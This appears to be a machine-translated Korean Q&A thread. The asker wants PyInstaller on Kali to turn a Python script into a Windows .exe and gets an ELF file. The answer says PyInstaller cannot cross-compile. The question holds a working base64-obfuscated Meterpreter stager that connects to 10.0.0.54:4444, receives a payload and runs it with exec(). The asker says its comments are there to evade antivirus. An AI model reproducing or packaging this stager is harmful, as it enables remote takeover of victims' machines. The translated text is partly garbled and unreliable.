2017-10-01 16 views
-2

나는 칼리에서 파이썬 코드를 컴파일 중입니다.PyInstaller가 .EXE를 .EXE로 출력합니다.

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe 

및 코드는 안티 바이러스 탐지를 피하기 위해 몇 가지 의견 단지 meterpreter입니다 : 이들은 pyInstaller 중에 대해 다음 설정입니다. 다음 코드는 다음과 같습니다

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] 
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K'))) 

내가 컴파일

, 내가 .EXE 대신 .ELF 파일을받을 수 있습니다. 어쩌면 내가 잘못 디렉토리를 가질 수 있을까? PyInstaller와 관련된 대부분의 디렉토리를 확인하는 것이므로 그렇게 생각하지 않습니다. 필자는 PyInstaller에 대한 가이드를 읽었지만 사용하지 않는 것 같습니다. 어떤 해결책? the documentation 가입일

답변

1

:

pyInstaller 중에의 출력이 활성화 된 운영 체제 및 Python의 활성 버전을 특정한다. 이에 대한 배포를 준비하는 것을 의미한다 :

  • 다른 OS
  • 파이썬의 다른 버전
  • 32 비트 또는 64 비트 OS 당신은에 pyInstaller 중에을 실행

그 OS의 Python 버전에서 PyInstaller을 실행하는 파이썬 인터프리터는 번들의 일부이며, OS와 단어 크기에 따라 다릅니다.

Python을 실행하는 Kali에서 .exe를 생성 할 수 없습니다.